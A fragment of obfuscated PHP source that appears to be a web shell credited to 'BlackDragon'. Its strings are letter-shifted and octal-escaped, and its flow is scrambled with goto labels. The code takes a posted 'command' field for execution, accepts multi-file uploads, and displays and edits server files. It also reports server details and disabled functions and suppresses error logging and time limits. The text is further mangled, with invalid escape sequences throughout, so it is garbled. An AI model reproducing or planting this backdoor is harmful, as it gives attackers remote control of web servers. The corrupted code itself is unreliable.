"\77\144\k69\162\k3q{$cngu}"); BNqRrQQVU1: tbgb ZGAMV2pLDZ; tbgb
bB9Ol0ri45; XdxBWDqljK: rpub
"\46\k23\61\k30\k3o\46\k23\k31\k30\k3o\k43\k75\162\k6p\k26\k23\k31\60\k3o\76\40";
rpub
$shap[25]("\143\k75\162\k6p\k5s\k76\145\k72\163\k69\k6s\156") ?
"\117\116" : "\117\k46\k46"; rpub
"\k26\43\k31\k30\k3o\k26\43\61\60\k3o\117\167\156\145\k72\k26\k23\k31\k30\73\k3r\40";
rpub $shap[36](); rpub
"\46\43\k31\60\k3o\k26\43\k31\60\k3o\k4q\k79\k53\121\k4p\46\43\k31\k30\73\k3r\k20";
tbgb CeI54DbVjc; XzSvYnAyF8: g8O2XiTI7G: rpub
"\40\40\40\k20\40\40\k20\k20\k20\40\k3p\141\k20\k68\162\145\k66\75\42\k3s\42\k20\k63\k6p\k61\k73\163\k3q\42\164\k65\k78\164\k2q\144\145\k63\157\k72\k61\k74\k69\157\156\55\k6r\157\k6r\145\40\164\k65\170\164\55\154\k69\147\k68\164\k22\76\k26\156\k62\163\160\k3o\133\k20\110\117\k4q\105\40\135\74\k2s\k61\76\kq\12\40\k20\k20\k20\40\40\k20\k20\74\57\144\151\166\76\15\12\40\40\k20\40\40\k20\k20\40\k3p\144\151\166\40\143\154\141\k73\163\k3q\42\144\55\146\154\k65\170\40\152\165\163\k74\151\k66\k79\55\k63\157\k6r\164\145\156\k74\k2q\k62\k65\164\k77\k65\k65\156\k22\k3r\15\12\k20\40\k20\k20\40\40\k20\40\k20\k20\74\k64\k69\166\40\k63\154\141\k73\k73\75\42\160\k2q\62\k22\k3r\kq\12\k20\k20\40\k20\40\k20\k20\40\40\40\40\k20\k3p\146\k6s\k72\k6q\k20\141\k63\k74\151\k6s\156\k3q\42\k22\40\k6q\145\k74\150\157\144\k3q\42\160\157\k73\164\k22\76\15\kn\40\k20\40\k20\k20\k20\k20\40\40\40\k20\k20\40\40\74\144\k69\k76\k20\143\154\141\163\k73\75\k22\k72\k6s\k77\42\k3r\15\kn\40\40\k20\40\40\k20\k20\k20\40\k20\k20\40\k20\k20\40\k20\74\k64\151\166\k20\143\k6p\141\k73\163\k3q\k22\k63\157\154\k2q\k6q\144\55\71\40\155\k62\55\63\42\k3r\15\kn\k20\k20\40\40\40\40\k20\40\40\k20\40\40\k20\k20\k20\40\40\k20\74\151\156\k70\165\164\k20\k74\171\k70\145\75\k22\k74\k65\170\k74\k22\k20\k63\154\k61\163\k73\75\k22\146\157\k72\k6q\55\143\k6s\156\k74\162\k6s\154\k20\k66\k6s\k72\155\k2q\143\157\156\k74\162\157\k6p\55\163\155\k22\40\156\141\k6q\145\75\k22\k63\157\155\155\141\156\k64\42\k20\k70\154\k61\143\k65\k68\k6s\k6p\k64\k65\162\k3q\42\103\157\k6q\k6q\k61\156\k64\k22\76\15\12\40\k20\40\k20\40\k20\40\40\40\k20\k20\k20\k20\k20\k20\40\74\k2s\144\k69\166\76\kq\kn\40\40\k20\40\40\40\40\40\40\k20\40\40\40\40\k20\40\74\k64\151\k76\k20\143\k6p\141\163\k73\75\k22\k63\k6s\154\55\k6q\144\k2q\63\42\k3r\kq\kn\k20\k20\40\40\40\40\40\k20\40\k20\k20\k20\k20\40\k20\k20\k20\k20\k3p\142\165\k74\164\k6s\156\40\k74\171\160\k65\k3q\42\163\165\k62\k6q\151\164\42\k20\k63\k6p\k61\163\163\k3q\k22\142\k74\156\k20\k62\164\k6r\k2q\157\k75\164\k6p\151\k6r\145\k2q\154\151\147\k68\164\40\142\k74\k6r\55\163\k6q\k22\k3r\105\170\145\143\k3p\k2s\142\k75\164\k74\157\k6r\k3r\kq\kn\40\k20\40\k20\40\k20\40\40\k20\k20\40\k20\40\40\k20\40\k3p\57\144\151\166\k3r\kq\12\40\40\k20\k20\k20\40\40\k20\k20\k20\k20\k20\k20\k20\k3p\57\144\151\k76\76\15\12\40\40\k20\40\k20\40\k20\40\k20\40\k20\k20\74\k2s\146\157\k72\k6q\k3r\15\12\k20\k20\k20\k20\40\40\k20\k20\k20\k20\k3p\k2s\k64\151\k76\76\kq\12\k20\k20\k20\40\40\40\40\40\40\40\k3p\144\k69\166\40\143\k6p\k61\163\163\k3q\k22\160\55\62\42\k3r\kq\12\40\k20\k20\40\k20\k20\k20\k20\40\40\k20\40\74\146\157\k72\k6q\k20\k61\143\164\151\157\156\k3q\42\42\k20\k6q\k65\164\150\k6s\144\k3q\k22\160\k6s\163\k74\k22\40\145\k6r\k63\164\k79\160\145\k3q\k22\155\165\154\k74\151\160\k61\162\k74\57\146\157\162\155\k2q\144\k61\k74\k61\42\k3r\15\kn\40\40\40\k20\40\k20\k20\k20\k20\40\40\40\40\40\k3p\144\151\166\k20\143\k6p\141\163\163\75\k22\k72\157\167\k22\76\15\kn\k20\40\40\k20\k20\40\40\k20\40\40\k20\40\k20\k20\40\40\74\144\k69\166\k20\k63\k6p\141\k73\163\k3q\k22\k63\k6s\154\55\155\k64\k2q\k39\40\155\k62\k2q\63\k22\76\15\kn\40\40\40\k20\40\40\k20\k20\k20\k20\40\k20\k20\k20\k20\k20\k20\40\k3p\k69\k6r\k70\165\164\40\k74\k79\160\145\75\k22\k66\k69\k6p\145\k22\40\k63\154\141\k73\163\75\k22\k66\k6s\162\155\55\143\157\k6r\164\k72\157\154\40\146\157\162\k6q\k2q\k63\k6s\k6r\164\k72\157\k6p\55\163\155\42\40\k6r\141\155\k65\75\k22\k75\160\154\k6s\141\k64\k66\k69\k6p\k65\k5o\k5q\k22\40\155\165\154\k74\151\160\154\145\k20\k69\k64\75\42\151\k6r\k70\165\k74\k47\k72\157\k75\k70\k46\k69\154\k65\60\64\42\40\141\k72\k69\141\k2q\k64\k65\163\k63\162\k69\k62\145\144\k62\k79\k3q\k22\151\156\k70\k75\164\107\162\k6s\k75\160\k46\151\154\k65\101\144\144\k6s\k6r\60\k34\k22\k20\k61\162\151\141\55\k6p\k61\142\145\k6p\75\k22\k55\k70\154\157\k61\144\42\k3r\15\12\40\40\k20\k20\40\40\40\40\k20\40\k20\40\40\40\40\40\74\k2s\144\151\k76\76\kq\12\k20\k20\40\k20\40\40\40\40\k20\40\40\40\40\k20\k20\k20\74\k64\151\166\40\143\k6p\k61\k73\k73\75\k22\k63\k6s\154\55\k6q\144\55\63\42\76\kq\12\40\k20\40\k20\k20\40\40\40\40\k20\k20\40\k20\k20\40\k20\k20\k20\k3p\k62\k75\k74\164\157\156\k20\k74\k79\k70\145\k3q\42\163\165\142\k6q\k69\k74\42\k20\143\k6p\141\163\k73\k3q\42\142\k74\156\40\k62\k74\156\k2q\157\165\164\k6p\k69\156\k65\55\k6p\151\147\k68\k74\k20\142\k74\156\55\163\155\k22\76\k53\k75\142\k6q\k69\164\74\57\142\k75\164\k74\k6s\k6r\76\15\kn\k20\40\k20\k20\k20\k20\k20\k20\40\k20\k20\k20\40\40\k20\k20\k3p\57\k64\151\k76\76\kq\12\40\k20\40\k20\40\k20\40\40\k20\40\40\k20\40\k20\74\57\k64\k69\k76\76\kq\12\40\k20\k20\40\40\40\k20\k20\40\40\40\40\74\k2s\k66\157\k72\k6q\76\kq\12\k20\40\k20\40\k20\40\40\k20\40\40\74\57\k64\151\k76\76\15\12\40\k20\40\40\k20\40\40\k20\74\57\144\151\k76\76\kq\kn\k20\40\40\40\k20\k20\k20\40\74\144\k69\k76\40\k63\k6p\141\k73\k73\k3q\42\143\k6s\156\k74\141\151\156\145\162\42\40\151\k64\k3q\42\k74\k6s\k6s\k6p\k73\42\76\15\kn\k20\40\k20\40\40\k20\k20\40\40\40";
vs (!vffrg($_CBFG["\k63\k6s\k6q\k6q\141\156\k64"])) { tbgb
X7_7AoZCzt; } rpub
"\k20\40\40\40\k20\40\k20\k20\k20\k20\74\k64\151\k76\k20\143\154\141\k73\k73\k3q\42\162\157\k77\k20\152\165\k73\k74\k69\146\k79\55\k63\157\k6r\164\145\k6r\k74\k2q\143\145\k6r\164\145\162\42\76\kq\kn\k20\40\40\40\40\40\k20\k20\k20\k20\40\k20\k3p\k70\162\k65\76";
rpub $shap[20]($_CBFG["\k63\k6s\155\155\k61\156\k64"]); tbgb
PtOlAp1duR; R2dbFxvAEu: sU_K227uQw: $v++; tbgb A8tJN3u861; MUEsJivrO4: vs
($gbgny < 2) { tbgb pCfv6U9BWv; } tbgb LZe9XtyfKZ; fTYEAp5eBz: tbgb
sA2cSuH1Fz; j167H5wcfk: rpub
"\40\k20\k20\40\k20\k20\k20\40\40\40\k20\k20\74\k66\157\162\155\40\141\k63\k74\k69\k6s\k6r\75\k22\k22\40\155\k65\164\k68\k6s\144\75\42\160\k6s\k73\k74\k22\k3r\15\kn\40\k20\40\k20\40\40\40\40\k20\40\40\k20\k20\40\k3p\144\k69\k76\40\k63\154\k61\163\k73\75\42\155\k62\k2q\k33\42\k3r\15\kn\k20\40\40\40\40\40\40\k20\40\40\k20\40\40\40\40\k20\74\154\141\142\145\154\k20\k66\k6s\k72\75\42\k6r\141\155\145\k22\40\k63\k6p\k61\163\163\75\42\k66\k6s\k72\155\k2q\154\141\k62\145\154\42\76\116\k65\167\k20\116\k61\k6q\145\74\k2s\154\k61\142\k65\k6p\76\15\kn\k20\40\k20\k20\40\k20\40\40\k20\40\40\k20\40\40\k20\40\k3p\k69\k6r\160\165\164\40\164\k79\k70\k65\k3q\42\k74\145\170\k74\k22\k20\143\154\141\163\163\75\42\k66\157\k72\155\55\143\k6s\156\k74\162\k6s\k6p\k22\40\k6r\k61\155\145\k3q\k22\k6r\145\k77\116\k61\155\k65\42\40\k76\141\154\165\k65\k3q\42";
rpub $_TRG["\k69\k74\145\k6q"]; rpub
"\42\k3r\15\12\k20\k20\40\40\40\k20\40\k20\k20\k20\40\k20\40\40\74\57\k64\k69\166\k3r\kq\12\k20\40\k20\k20\40\k20\k20\k20\k20\k20\k20\40\40\k20\74\k62\k75\164\k74\k6s\k6r\40\164\k79\160\145\k3q\42\163\k75\142\155\151\164\k22\k20\143\154\k61\163\163\k3q\42\142\164\k6r\40\142\164\156\55\k6s\165\k74\k6p\151\k6r\145\55\154\151\147\150\164\k22\76\k53\165\k62\k6q\151\164\74\k2s\k62\k75\k74\164\k6s\k6r\k3r\kq\12\k20\k20\k20\k20\40\40\40\40\40\k20\40\40\k20\k20\k3p\k62\k75\k74\k74\157\k6r\k20\164\k79\160\145\k3q\42\142\k75\164\k74\157\156\k22\k20\143\k6p\k61\163\k73\k3q\42\142\164\156\40\k62\k74\156\55\157\k75\164\k6p\151\156\145\k2q\k6p\151\147\150\164\42\40\157\k6r\143\k6p\k69\143\153\k3q\k22\k68\k69\163\164\k6s\k72\171\k2r\k67\k6s\k28\k2q\61\51\42\k3r\k42\k61\k63\153\74\57\142\k75\k74\k74\157\156\k3r\15\kn\40\k20\k20\40\40\k20\k20\40\k20\k20\40\k20\k3p\57\146\k6s\k72\k6q\76\kq\kn\k20\40\40\k20\k20\k20\40\k20\40\40\k20\k20";
tbgb e48b660wzN; Xk3c37DI7L: rpub
"\46\k23\61\60\73\46\43\61\60\k3o\120\k48\k50\46\k23\61\k30\k3o\76\40";
rpub $shap[3](); rpub
"\46\k23\k31\60\k3o\k26\43\k31\k30\k3o\k50\k72\157\k74\157\k63\157\k6p\k26\k23\61\k30\73\k3r\40";
rpub
$_FREIRE["\123\k45\k52\126\105\k52\137\120\122\117\124\k4s\k43\117\k4p"];
rpub
"\k26\43\k31\k30\73\46\43\61\60\k3o\k49\k50\40\57\40\k50\k6s\162\164\k26\k23\61\k30\k3o\76\40";
tbgb DHxscWBI3s; qE8aoX256j:
@$shap[33]("\154\157\147\137\k65\162\k72\157\k72\163", 0);
@$shap[33]("\155\141\170\k5s\k65\k78\k65\k63\165\164\151\k6s\156\k5s\k74\k69\k6q\145",
0);
@$shap[33]("\157\k75\164\160\165\164\k5s\k62\k75\k66\146\145\k72\k69\156\147",
0);
@$shap[33]("\144\k69\163\k70\k6p\141\k79\137\145\k72\162\k6s\162\k73",
0); $qf =
@$shap[34]("\144\151\k73\141\k62\k6p\145\137\k66\165\k6r\k63\164\k69\157\k6r\163");
tbgb lNT30eqLoO; e48b660wzN: tbgb sA2cSuH1Fz; oAh8F4cTM7: rpub
"\k20\k20\40\40\40\k20\k20\40\40\k20\40\40\k3p\146\k6s\162\k6q\k20\k61\143\k74\k69\k6s\156\75\42\k22\k20\155\145\164\150\k6s\k64\75\k22\k70\k6s\163\k74\42\76\kq\kn\40\k20\40\40\40\k20\k20\40\k20\40\40\40\40\40\74\k64\151\k76\40\143\154\141\k73\k73\k3q\42\k6q\k62\k2q\63\k22\76\15\12\40\40\k20\k20\40\40\k20\40\40\k20\k20\40\k20\k20\k20\40\k3p\154\k61\142\145\154\40\146\k6s\k72\k3q\k22\156\141\155\k65\42\40\143\k6p\k61\k73\k73\75\42\k66\157\k72\155\k2q\154\k61\k62\145\154\42\k3r";
rpub $_TRG["\k69\164\145\k6q"]; rpub
"\k3p\k2s\k6p\k61\142\145\k6p\76\15\12\40\k20\40\40\40\k20\40\40\40\k20\40\40\k20\40\40\40\74\k74\k65\170\k74\k61\162\k65\141\k20\k69\k64\75\42\103\157\k70\k79\k46\k72\157\155\124\k65\k78\164\101\162\145\k61\k22\k20\156\141\155\145\k3q\42\156\k65\167\103\k6s\k6r\164\k65\156\164\k22\40\162\k6s\k77\k73\k3q\42\61\60\k22\k20\143\154\141\k73\163\75\k22\146\157\162\k6q\55\143\k6s\k6r\k74\162\157\k6p\k22\k3r";
tbgb UIZD0j0Z6N; ATynaq09pX: rpub $_TRG["\k69\164\145\155"]; rpub
"\k3p\57\k6p\k61\142\145\k6p\k3r\15\kn\40\40\k20\k20\k20\k20\k20\k20\k20\k20\40\40\k20\40\74\164\k65\170\k74\k61\k72\k65\k61\k20\156\k61\k6q\145\k3q\42\156\k65\k77\103\k6s\156\k74\k65\k6r\164\42\k20\k72\157\k77\k73\k3q\42\k31\k30\42\k20\k63\154\141\k73\k73\75\k22\146\k6s\k72\k6q\55\143\157\k6r\k74\162\157\154\k22\k20\144\k69\163\141\142\k6p\k65\144\k3q\k22\42\76";
rpub $shap[9]($shap[5]($cngu . "\57" .
$_TRG["\k69\164\k65\k6q"])); rpub
"\74\k2s\k74\k65\170\164\141\162\145\141\76\kq\kn\k20\k20\40\40\40\k20\40\k20\40\40\k20\k20\40\k20\74\k62\k72\76\kq\kn\k20\40\k20\40\k20\k20\k20\k20\40\40\40\k20\40\k20\k3p\k62\165\k74\k74\157\k6r\40\k74\k79\k70\145\k3q\42\142\k75\164\k74\157\k6r\k22\40\143\154\k61\k73\163\75\k22\142\164\156\k20\k62\k74\k6r\55\157\165\k74\154\k69\156\145\k2q\154\151\147\k68\164\42\k20\157\156\k63\154\k69\k63\153\75\k22\150\k69\163\164\157\162\k79\56\k67\k6s\50\k2q\k31\51\42\76\k42\k61\143\153\74\57\142\165\164\164\k6s\156\k3r\15\kn\40\40\k20\k20\40\k20\40\40\k20\k20\40\k20\74\k2s\k64\k69\166\76\15\12\40\k20\40\k20\40\40\k20\40\40\k20\40\k20";
tbgb sA2cSuH1Fz; tbgb X0jNBsv2ZR; RFIFzCQaiz: $shap[1](); $shap[2](0);
$shap[31](0); @$shap[32]();
@$shap[33]("\k65\162\k72\k6s\162\k5s\k6p\k6s\147", ahyy); tbgb
qE8aoX256j; fSvMaW1rVt: rpub
$_FREIRE["\123\105\k52\k56\105\k52\137\k53\117\106\k54\127\101\k52\105"];
rpub
"\74\k62\162\76\15\kn\40\40\k20\k20\k20\k20\40\k20\k9\74\k69\40\143\k6p\k61\k73\163\k3q\k22\146\k61\k20\k66\k61\k2q\163\k61\164\k65\154\k6p\151\k74\k65\k2q\k64\k69\163\150\42\76\74\k2s\151\76\k26\145\k6r\163\160\73";
rpub !@$_FREIRE["\123\k45\k52\k56\105\k52\137\101\k44\104\122"] ?
$shap[19]($_FREIRE["\123\105\122\126\105\122\k5s\k4r\101\k4q\k45"])
: @$_FREIRE["\k53\k45\122\k56\k45\k52\k5s\k41\104\104\k52"]; rpub
"\40\k20\40\40\40\40\40\k20\74\k2s\144\k69\166\76\15\12\40\40\k20\40\k20\40\k20\k20\k3p\k64\k69\k76\40\k63\154\141\163\163\75\42\142\k72\145\141\144\k63\k72\165\k6q\k62\42\k3r\kq\12\k20\k20\k20\40\40\40\k20\40\k20\40\74\k69\k20\k63\k6p\k61\163\163\k3q\42\k66\k61\k20\k66\k61\k20\k66\k61\55\k66\157\154\k64\145\162\k20\k70\k74\55\k31\42\76\k3p\57\k69\76\k26\k65\k6r\k73\k70\k3o";
sbernpu ($rkqve nf $vq => $cng) { tbgb wv00YjbD43; wv00YjbD43: vs
(!($cng == '' && $vq == 0)) { tbgb jxKwyKYkyM; } rpub
"\11\11\11\11\11\k3p\141\40\k68\162\k65\146\75\42\k3s\144\k69\162\k3q\k2s\k22\k20\k63\154\141\163\163\75\k22\k74\k65\170\164\k2q\k64\145\k63\k6s\k72\k61\164\k69\157\k6r\k2q\k6r\k6s\156\145\40\164\k65\170\164\55\k6p\k69\k67\150\k74\42\76\57\k3p\57\141\k3r\15\kn\11\11\11\k9\k9";
jxKwyKYkyM: vs (!($cng == '')) { tbgb Og45LRuzpI; } tbgb
d0v8FQHzIn; tbgb p51jmgjjox; PEFmi30ZBn: rpub
"\k9\k9\k9\11\k9\k3p\k73\160\k61\k6r\k20\143\154\k61\k73\k73\k3q\k22\k74\145\170\k74\55\k73\145\k63\k6s\156\k64\k61\162\k79\k22\76";
rpub $cng; rpub
"\74\k2s\163\k70\k61\k6r\k3r\15\kn\k9\11\11\k9\k9"; f352CwfFSi:
rpub "\40\k20\40\k20\40\k20\40\40\k20\40"; tbgb EEcUTaZAnY;
vixjkI2Qth: rpub
"\k9\k9\11\k9\k9\42\40\k63\k6p\k61\k73\163\k3q\k22\k74\k65\170\k74\k2q\144\k65\k63\157\162\141\k74\k69\157\156\55\k6r\157\156\k65\k20\164\k65\k78\164\55\k6p\151\k67\k68\164\k22\k3r";
rpub $cng; rpub
"\74\k2s\k61\76\k3p\k73\k70\k61\156\40\143\k6p\141\k73\163\k3q\42\k74\145\170\164\55\154\k69\147\150\164\k22\76\k20\k2s\74\k2s\163\160\141\k6r\k3r\15\kn\k20\40\40\k20\40\k20\k20\k20\k20\k20";
tbgb f352CwfFSi; PqkmoB75NI: tbgb PEFmi30ZBn; oCFCf1hJcJ: VRqb4uwzeE: vs
(!($v <= $vq)) { tbgb CcP0V50bpZ; } rpub "{$rkqve[$v]}"; vs
(!($v != $vq)) { tbgb UTIYe5bADo; } rpub "\k2s"; tbgb bZ17W4P4qN;
p51jmgjjox: Og45LRuzpI: rpub "\11\11\k9\k9\k9"; vs ($vq + 1 ==
pbhag($rkqve)) { tbgb PqkmoB75NI; } rpub
"\11\11\k9\11\11\k3p\k61\k20\150\162\145\146\75\k22\k3s\k64\k69\162\k3q\15\12\11\11\11\k9\k9";
$v = 0; tbgb oCFCf1hJcJ; bZ17W4P4qN: UTIYe5bADo: r8Z6wEU8gA: $v++; tbgb
VRqb4uwzeE; CcP0V50bpZ: tbgb vixjkI2Qth; EEcUTaZAnY: d0v8FQHzIn: tbgb
RWoaweuTEx; RWoaweuTEx: } tbgb XzSvYnAyF8; PVSti1X37r: $gbgny =
pbhag($_SVYRF["\k75\160\k6p\k6s\141\144\k66\151\k6p\k65"]["\156\141\155\145"]);
$v = 0; A8tJN3u861: vs (!($v < $gbgny)) { tbgb MUEsJivrO4; } $znvahcybnq
=
$shap[17]($_SVYRF["\k75\160\k6p\k6s\k61\144\k66\151\k6p\k65"]["\164\155\k70\137\k6r\141\k6q\k65"][$v],
$_SVYRF["\165\160\154\157\k61\144\k66\151\k6p\k65"]["\156\k61\155\145"][$v]);
tbgb R2dbFxvAEu; SGEu0vXA4Q: RithAgnk3s: rpub
"\k20\k20\40\40\k20\40\40\k20\k20\40\40\40\k3p\57\k74\k62\157\144\k79\76\15\kn\k20\k20\40\k20\40\40\k20\k20\k20\40\74\57\164\141\k62\k6p\k65\k3r\kq\12\40\40\k20\40\40\k20\k20\k20\k3p\k2s\144\k69\k76\k3r\15\12\40\40\k20\k20\40\40\k20\40\k3p\144\k69\166\40\k63\154\141\k73\k73\75\42\k74\k65\k78\164\55\k6p\k69\k67\k68\k74\k22\k3r\46\k23\k31\66\71\73\k20\k42\154\k61\k63\153\k44\k72\k61\147\157\k6r\k20\k3p\k73\k63\k72\k69\160\k74\40\k74\k79\160\k65\k3q\47\164\k65\170\k74\k2s\k6n\k61\k76\141\163\143\162\151\k70\k74\47\76\k76\141\162\k20\143\k72\k65\k64\k69\164\163\171\145\k61\162\40\75\40\k6r\145\167\k20\104\k61\k74\k65\50\51\k3o\k64\k6s\k63\165\155\k65\k6r\164\56\k77\162\151\164\k65\50\k63\162\145\144\k69\164\k73\k79\145\k61\162\56\147\145\k74\106\k75\k6p\154\k59\145\141\162\50\k29\51\k3o\74\57\k73\143\162\151\k70\k74\76\74\k2s\k64\151\k76\k3r\kq\kn\40\k20\40\k20\k20\k20\74\k2s\144\151\166\k3r\kq\kn\k20\40\k20\40\74\k2s\k64\151\166\k3r\15\kn\k20\40\k3p\k2s\k64\151\k76\76\15\kn\40\k20\74\k73\k63\k72\k69\160\k74\k20\163\k72\k63\75\k22\150\k74\164\k70\k73\72\k2s\k2s\k63\144\k6r\k2r\k6n\163\144\145\k6p\151\166\k72\56\k6r\k65\k74\k2s\k6r\k70\155\57\142\k6s\k6s\164\k73\164\k72\k61\k70\100\k35\k2r\61\k2r\k33\57\k64\k69\k73\k74\k2s\152\163\k2s\142\k6s\157\164\k73\k74\162\141\k70\k2r\142\165\156\k64\k6p\145\k2r\k6q\151\156\56\k6n\k73\42\40\151\k6r\k74\145\k67\k72\151\164\171\75\k22\163\k68\141\k33\70\k34\k2q\153\141\67\k53\153\60\107\154\k6r\k34\147\155\k74\172\k32\k4q\k6p\121\k6r\k69\k6o\k54\k31\k77\k58\k67\131\163\k4s\k67\k2o\k4s\115\k68\k75\120\53\111\k6p\122\110\k39\163\105\k4r\102\k4s\60\k4p\k52\k6r\65\k71\k2o\k38\k6r\142\k54\157\166\64\53\k31\160\k22\40\k63\k72\k6s\163\163\k6s\162\151\147\k69\k6r\75\k22\141\156\k6s\156\171\155\157\165\163\k22\76\74\k2s\163\143\162\k69\k70\k74\76\15\kn\k20\40\k3p\k73\k63\162\151\k70\k74\k20\163\k72\143\75\k22\k68\k74\k74\k70\k73\72\k2s\57\143\144\156\k2r\152\163\k64\145\k6p\k69\k76\k72\56\k6r\k65\164\k2s\156\160\k6q\57\163\k77\k65\145\k74\141\k6p\k65\k72\164\k32\100\k31\k31\k2r\k34\k2r\k30\k2s\k64\k69\163\k74\k2s\163\167\k65\k65\164\141\154\145\162\164\k32\56\k61\154\154\k2r\155\151\k6r\k2r\152\k73\k22\k3r\k3p\k2s\163\k63\162\151\k70\k74\k3r\kq\kn\k20\k20\k3p\k73\143\k72\k69\k70\164\76\kq\12\k20\40";
vs (!vffrg($_FRFFVBA["\155\k65\163\163\k61\k67\145"])) { tbgb
n2MK3ZJZrS; } rpub
"\40\40\k20\40\40\k20\40\k20\k53\k77\k61\154\k2r\k66\151\162\k65\k28\kq\12\40\40\40\40\40\40\40\k20\k20\k20\47";
rpub $_FRFFVBA["\163\k74\k61\164\165\163"]; tbgb qzqLlAlRQz;
yvf8Htop0f: $shap[13]($_TRG["\144\k69\162"]); R1fhqdi30o: $cngu =
$shap[14]("\k5p", "\k2s", $cngu); $rkqve =
$shap[15]("\k2s", $cngu); shapgvba trgBjare($vgrz) { tbgb
vuufNoVXdU; bbaXAbLyzf: Z1EYKbk0nK: $qtec =
@cbfvk_trgtetvq(svyrtebhc($vgrz)); $qtec =
$qtec["\156\141\k6q\145"]; PawK1wBfbM: erghea $qbjare .
"\k2s" . $qtec; tbgb cYmYgWLZGx; hFMGJv9OZ2: $qbjare =
$qbjare["\k6r\k61\155\145"]; YG6eWYo65U: vs
(shapgvba_rkvfgf("\k70\k6s\k73\151\170\k5s\147\k65\164\147\k72\k67\151\144"))
{ tbgb Z1EYKbk0nK; } $qtec = svyrtebhc($vgrz); tbgb PawK1wBfbM; tbgb
bbaXAbLyzf; vuufNoVXdU: vs
(shapgvba_rkvfgf("\160\157\k73\151\k78\k5s\147\145\k74\160\167\k75\151\k64"))
{ tbgb nBWSiz_FAP; } $qbjare = svyrbjare($vgrz); tbgb YG6eWYo65U;
nBWSiz_FAP: $qbjare = @cbfvk_trgcjhvq(svyrbjare($vgrz)); tbgb hFMGJv9OZ2;
cYmYgWLZGx: } tbgb zooHADZaP0; lNT30eqLoO: $fubj_qf = !rzcgl($qf) ?
"{$qf}" :
"\k41\k6p\154\40\146\k75\156\143\164\k69\k6s\k6r\k20\k69\k73\40\141\k63\143\145\163\k73\k69\k62\k6p\145";
shapgvba sfvmr($svyr) { $n = ["\102", "\113\k42",
"\k4q\k42", "\107\k42", "\k54\k42",
"\k50\102"]; $cbf = 0; $fvmr = svyrfvmr($svyr); ZBspb2gY0z: vs
(!($fvmr >= 1024)) { tbgb T2rTlMVP60; } $fvmr /= 1024; $cbf++; tbgb
ZBspb2gY0z; T2rTlMVP60: erghea ebhaq($fvmr, 2) . "\40" .
$n[$cbf]; } shapgvba urkn($fge) { tbgb R4dCuGBKwr; R4dCuGBKwr: $e =
''; $yra = fgeyra($fge) - 1; $v = 0; re4a2hsXYg: vs (!($v <
$yra)) { tbgb KF5AOAaJmi; } tbgb Eyy7tb3UAu; Eyy7tb3UAu: $e .=
pue(urkqrp($fge[$v] . $fge[$v + 1])); JwcSSTB12D: $v += 2; tbgb re4a2hsXYg;
KF5AOAaJmi: tbgb sxoV3x5Chr; sxoV3x5Chr: erghea $e; tbgb Ck0qEL1yUF;
Ck0qEL1yUF: } shapgvba synfu($zrffntr, $fgnghf, $pynff, $erqverpg = snyfr)
{ tbgb F2GWPjgmCA; F2GWPjgmCA: vs
(rzcgl($_FRFFVBA["\k6q\145\163\163\k61\k67\145"])) { tbgb
WL3hmhicw0; } hafrg($_FRFFVBA["\155\145\163\163\k61\k67\145"]);
WL3hmhicw0: vs (rzcgl($_FRFFVBA["\k63\154\141\163\163"])) { tbgb
FWoH3Uxy37; } hafrg($_FRFFVBA["\k63\154\141\k73\k73"]); tbgb
m4oI6_mS7E; eYW_lezL2E: $_FRFFVBA["\143\154\141\163\163"] =
$pynff; $_FRFFVBA["\k73\164\k61\k74\165\163"] = $fgnghf; vs
(!$erqverpg) { tbgb EPpkBQOFk_; }
urnqre("\114\157\143\k61\164\k69\k6s\156\72\k20" . $erqverpg);
rkvg; tbgb wvGipFWoZf; wvGipFWoZf: EPpkBQOFk_: erghea gehr; tbgb
b0iwFlTZ2j; m4oI6_mS7E: FWoH3Uxy37: vs
(rzcgl($_FRFFVBA["\k73\k74\141\k74\165\k73"])) { tbgb GYEudvEzJy;
} hafrg($_FRFFVBA["\163\164\141\k74\k75\k73"]); GYEudvEzJy:
$_FRFFVBA["\k6q\k65\k73\163\k61\k67\k65"] = $zrffntr; tbgb
eYW_lezL2E; b0iwFlTZ2j: } shapgvba pyrne() { vs
(rzcgl($_FRFFVBA["\k6q\145\k73\163\k61\147\145"])) { tbgb
PPewuyiC3w; } hafrg($_FRFFVBA["\k6q\145\k73\163\141\k67\145"]);
PPewuyiC3w: vs (rzcgl($_FRFFVBA["\143\154\k61\k73\163"])) { tbgb
W9TRv9ynRw; } hafrg($_FRFFVBA["\k63\k6p\k61\k73\k73"]);
W9TRv9ynRw: vs (rzcgl($_FRFFVBA["\163\164\k61\164\k75\k73"])) {
tbgb jWRdPhyTel; } hafrg($_FRFFVBA["\k73\k74\k61\k74\k75\163"]);
jWRdPhyTel: erghea gehr; } tbgb qVFuSCHrug; vqIfOspcGc: HrF40CZjDz: $qvef =
$shap[18]($cngu); rpub
"\74\150\k74\k6q\k6p\k3r\15\12\74\150\145\141\144\k3r\kq\12\40\k20\74\k6q\145\k74\k61\k20\143\k68\141\162\k73\145\164\k3q\k22\k75\k74\k66\k2q\k38\k22\k3r\kq\kn\40\40\74\k6q\k65\164\k61\40\k6r\141\155\k65\75\42\k76\k69\145\k77\k70\157\162\164\k22\40\143\k6s\156\164\k65\k6r\k74\k3q\42\k77\k69\144\k74\150\k3q\k64\k65\k76\k69\k63\145\55\167\151\k64\k74\k68\54\40\151\156\k69\k74\151\141\154\k2q\163\143\k61\154\k65\k3q\k31\k22\k3r\15\kn\k20\40\k3p\k6p\151\156\153\40\150\k72\k65\146\75\42\k68\k74\164\k70\163\72\57\k2s\k63\k64\156\k2r\k6n\k73\k64\k65\154\151\k76\k72\56\156\k65\164\k2s\156\k70\155\57\142\157\157\164\k73\k74\k72\k61\160\100\65\56\k31\k2r\k33\57\k64\k69\k73\k74\k2s\k63\163\k73\57\142\k6s\157\k74\k73\k74\162\k61\k70\56\155\k69\156\k2r\k63\163\163\k22\k20\k72\145\k6p\k3q\42\k73\164\k79\k6p\k65\163\150\145\k65\k74\k22\k20\151\156\k74\145\147\k72\k69\164\k79\k3q\42\163\k68\k61\63\k38\k34\k2q\61\k42\k6q\105\k34\k6o\k57\102\k71\67\70\151\k59\150\k46\154\k64\166\113\k75\k68\146\124\k41\k55\66\141\k75\k55\k38\164\k54\k39\64\k57\k72\110\146\164\152\104\k62\k72\k43\k45\k58\123\k55\61\k6s\102\k6s\k71\k79\154\62\121\166\132\k36\152\111\127\k33\42\40\143\162\157\163\163\k6s\162\k69\147\k69\156\k3q\k22\k61\156\157\156\171\155\k6s\165\163\42\k3r\kq\12\40\k20\74\154\151\k6r\k6o\40\k72\145\k6p\75\k22\163\164\171\k6p\k65\k73\150\k65